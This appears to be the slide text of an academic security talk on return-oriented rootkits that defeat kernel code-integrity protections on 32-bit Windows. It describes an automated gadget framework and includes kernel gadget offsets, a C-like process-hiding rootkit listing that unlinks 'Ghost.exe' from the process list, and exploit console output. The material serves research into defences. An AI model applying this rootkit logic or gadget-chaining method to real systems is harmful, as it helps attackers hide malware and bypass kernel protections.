Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms

Ralf Hund
University of Mannheim
Motivation (1)

- Operating systems separate system into **user land** and **kernel land**
- Kernel and driver components run with **elevated** privileges
- Compromising of such a component: 😞
- How to **protect** these critical components?
- Alternative to detection: try to **prevent** malicious programs from being executed
- Focus on **latter** approach
Motivation (2)

• Traditional approach followed by **NICKLE** and **SecVisor**
• **Lifetime** kernel code integrity (**instruction** level)
  – No **overwriting** of existing code
  – No **injection** of new code
• **Attacker model**
  – May own **everything** in user land (admin/root privileges)
  – **Vulnerabilities** in kernel components are **allowed**
• Common assumption: an attacker must **always** execute **own** code
• Can attacker carry out **arbitrary** computations nevertheless?
  – Is it possible to create a **real** rootkit by code-reuse?
  – Show how to **bypass** code integrity protections
Return-Oriented Programming

- Extension of infamous \texttt{return-to-libc} attack
- Controlling the \texttt{stack} is sufficient to perform arbitrary control-flow modifications
- \textbf{Idea}: find enough \textit{useful instruction sequences} to allow for arbitrary computations
Overview

- Motivation
- **Automating Return-Oriented Programming**
- Evaluation
- Rootkit Example
- Conclusion
Framework

• Problems attackers face:
  – **Varying environments**: different codebase (driver & OS versions, etc.)
  – **Complex task**: how to implement return-oriented tasks in an abstract manner?
• Facilitate development of complex return-oriented code
• Three core components:
  1. **Constructor**
  2. **Compiler**
  3. **Loader**
• Currently supports 32bit Windows operating systems running IA-32
Framework Overview

Constructor

Useful Instruction Sequences

Gadgets

ntoskrnl.exe
hal.dll
win32k.sys
ntfs.sys
...

Codebase (PE Files)

Source Code

Compiler

Return-Oriented Program

Loader

Exploit
Useful Instruction Sequences

- **Definition**: instruction sequence that ends with a return

- How many instructions preceding a return should be considered?
  - Must take **side-effects** into account
  - Simplifying assumption: only consider one preceding instruction

- Which registers may be altered?
  - Only **eax**, **ecx**, and **edx**

- Not turned out to be problematic (see evaluation)

```plaintext
Example:
mov eax, [ecx]
add eax, edx
ret
```
Gadget Example (AND)

Codebase

AND Gadget

pop ecx
ret

mov edx, [ecx+0x7c]
ret

mov eax, [eax]
ret

and eax, edx
ret

pop ecx
| R: ntoskrnl.exe:D88B
| L: <RightSource>-124

mov edx, [ecx+0x7c]
| R: ntoskrnl.exe:C7B4C

pop eax
| R: ntoskrnl.exe:B0AE
| L: <LeftSource>

mov eax, [eax]
| R: ntoskrnl.exe:B13E

and eax, edx
| R: win32k.sys:ADAE6

pop ecx
| R: ntoskrnl.exe:D88B
| L: <Destination>

mov [ecx], eax
| R: ntoskrnl.exe:45E4

mov [ecx], eax
| R: ntoskrnl.exe:45E4
Compiler

• Entirely self-crafted programming language
  – Syntax similar to C
  – All standard logical, arithmetic, and bitwise operations
  – Conditions/looping with arbitrary nesting and subroutines
  – Support for integers, char arrays, and structures (variable containers)
  – Support for calling external, non return-oriented code
• Produces position-independent stack allocation of the program
• Program is contained in linear address region
Loader

- Retrieves base addresses of the kernel and all loaded kernel modules (EnumDeviceDrivers)
- ASLR useless
- Resolves **relative** to **absolute** addresses
- Implemented as library
Overview

- Motivation
- Automating Return-Oriented Programming
- Evaluation
- Rootkit Example
- Conclusion
Useful Instructions / Gadget Construction

• Tested Constructor on 10 different machines running different Windows versions (2003 Server, XP, and Vista)
• Full codebase and kernel + Win32 subsystem only (res.)
• Codebase **always sufficient** to construct all necessary gadgets

<table>
<thead>
<tr>
<th>Machine configuration</th>
<th># ret instr.</th>
<th># ret instr. (res)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Native / XP SP2</td>
<td>118,154</td>
<td>22,398</td>
</tr>
<tr>
<td>Native / XP SP3</td>
<td>95,809</td>
<td>22,076</td>
</tr>
<tr>
<td>VMware / XP SP3</td>
<td>58,933</td>
<td>22,076</td>
</tr>
<tr>
<td>VMware / 2003 Server SP2</td>
<td>61,080</td>
<td>23,181</td>
</tr>
<tr>
<td>Native / Vista SP1</td>
<td>181,138</td>
<td>30,922</td>
</tr>
<tr>
<td>Bootcamp / Vista SP1</td>
<td>177,778</td>
<td>30,922</td>
</tr>
</tbody>
</table>
Runtime Overhead

- Implementation of two identical quicksort programs
- Return-oriented vs. C (no optimizations)
- Sort 500,000 random integers
- Average slowdown by factor of \( \sim 135 \)
Overview

- Motivation
- Automating Return-Oriented Programming
- Evaluation
- Rootkit Example
- Conclusion
Rootkit Implementation

- Traverses process list and removes specific process
- 6KB in size

```c
int ProcessName;
int ListStart = &CurrentProcess->process_list.Flink;
int ListCurrent = *ListStart;
while(ListCurrent != ListStart) {
    struct EPROCESS *NextProcess = ListCurrent - ListStartOffset;
    if(RtlCompareMemory(NextProcess->ImageName, "Ghost.exe", 9) == 9) {
        break;
    }
    ListCurrent = *ListCurrent;
}

struct EPROCESS *GhostProcess = ListCurrent - ListStartOffset;
GhostProcess->process_list.Blink->Flink = GhostProcess->process_list.Flink;
GhostProcess->process_list.Flink->Blink = GhostProcess->process_list.Blink;
GhostProcess->process_list.Flink = ListCurrent;
GhostProcess->process_list.Blink = ListCurrent;
```
Command Prompt - Exploit.exe

C:\\Rootkit\\Exploit.exe
> vulnerable kernel driver exploit v1.0
> loading rootkit code
> loading code (base = 00F30000, size = 00005F5C, pages = 6)
> loading rootkit loader code
> loading code (base = 00F875B0, size = 0001000, pages = 1)
> exploit will be executed from 00100854
> creating relative vector area (base = 0018510B)
> creating file handle from '\\Vulnerable'
> generating exploit code, buffer address = 0012F84C
> VirtualLock(00100000, 00010000) returned 1
> executing exploit
> cleaning up
Press any key to continue . . .

Windows Task Manager

<table>
<thead>
<tr>
<th>Image Name</th>
<th>User Name</th>
<th>CPU</th>
<th>Mem Usage</th>
</tr>
</thead>
<tbody>
<tr>
<td>alg.exe</td>
<td>LOCAL SERVICE</td>
<td>00</td>
<td>3,512 K</td>
</tr>
<tr>
<td>cmd.exe</td>
<td>Johnny</td>
<td>00</td>
<td>2,352 K</td>
</tr>
<tr>
<td>cmd.exe</td>
<td>Johnny</td>
<td>00</td>
<td>2,768 K</td>
</tr>
<tr>
<td>csrss.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>4,036 K</td>
</tr>
<tr>
<td>ctfmon.exe</td>
<td>Johnny</td>
<td>00</td>
<td>3,676 K</td>
</tr>
<tr>
<td>Exploit.exe</td>
<td>Johnny</td>
<td>00</td>
<td>1,244 K</td>
</tr>
<tr>
<td>explorer.exe</td>
<td>Johnny</td>
<td>00</td>
<td>24,655 K</td>
</tr>
<tr>
<td>lsass.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>1,292 K</td>
</tr>
<tr>
<td>services.exe</td>
<td>Johnny</td>
<td>00</td>
<td>3,284 K</td>
</tr>
<tr>
<td>smss.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>388 K</td>
</tr>
<tr>
<td>spoolsv.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>5,424 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>4,816 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>NETWORK SERVICE</td>
<td>00</td>
<td>4,144 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>19,988 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>NETWORK SERVICE</td>
<td>00</td>
<td>3,396 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>LOCAL SERVICE</td>
<td>00</td>
<td>4,468 K</td>
</tr>
<tr>
<td>System</td>
<td>SYSTEM</td>
<td>00</td>
<td>236 K</td>
</tr>
<tr>
<td>System Idle Process</td>
<td>SYSTEM</td>
<td>00</td>
<td>28 K</td>
</tr>
<tr>
<td>taskmgr.exe</td>
<td>Johnny</td>
<td>00</td>
<td>2,924 K</td>
</tr>
<tr>
<td>TSWCache.exe</td>
<td>Johnny</td>
<td>00</td>
<td>4,552 K</td>
</tr>
<tr>
<td>vmactlp.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>2,540 K</td>
</tr>
<tr>
<td>VMwareService.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>4,316 K</td>
</tr>
<tr>
<td>VMwareTray.exe</td>
<td>Johnny</td>
<td>00</td>
<td>3,408 K</td>
</tr>
<tr>
<td>VMwareUser.exe</td>
<td>Johnny</td>
<td>00</td>
<td>6,428 K</td>
</tr>
<tr>
<td>winlogon.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>1,668 K</td>
</tr>
</tbody>
</table>
Conclusion

• Return-oriented attacks against the kernel are possible
• **Automated** gadget construction
• Problem is **malicious computation**, not malicious code
• Code integrity itself is not enough
Questions?

Thank you for your attention
References

- [RAID08] Riley et al.: Guest-Transparent Prevention of Kernel Rootkits with VMM-based Memory Shadowing
- [ACM07] Seshadri et al.: A Tiny Hypervisor to Provide Lifetime Kernel Code Integrity for Commodity OSes
- [CCS07] Shacham: The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls
- [CCS08] Buchanan et al.: When Good Instructions Go Bad: Generalizing Return-Oriented Programming to RISC
- [BUHO] Butler and Hoglund: Rootkits : Subverting the Windows Kernel
2nd Rootkit

- Allows **hiding** of arbitrary **network socket** connections
- **Hooks** into tcpip.sys **control flow**
- **Concurrency** is the natural **enemy** of return-oriented programming
  - Overcome **synchronization** issues
Return-Oriented Programming

- Introduced recently by Shacham et al. [CCS07, CCS08, EVT09]
- Extension of infamous return-to-libc attack
- Controlling the stack is sufficient to perform arbitrary control-flow modifications
- **Idea**: find enough *useful instruction sequences* to allow for arbitrary computations
Framework Overview
Automated Gadget Construction

- CPU is register-based
  - Start from working registers
- Constructs lists of gadgets being bound to working registers

<table>
<thead>
<tr>
<th>Task</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>Load constant into register</td>
<td>pop eax</td>
</tr>
<tr>
<td>Load memory variable</td>
<td>mov eax, [ecx]</td>
</tr>
<tr>
<td>Store memory variable</td>
<td>mov [edx], eax</td>
</tr>
<tr>
<td>Perform addition</td>
<td>add eax, ecx</td>
</tr>
<tr>
<td></td>
<td>add eax, [edx+1337h]</td>
</tr>
</tbody>
</table>

- Gradually construct further lists by combining previous gadgets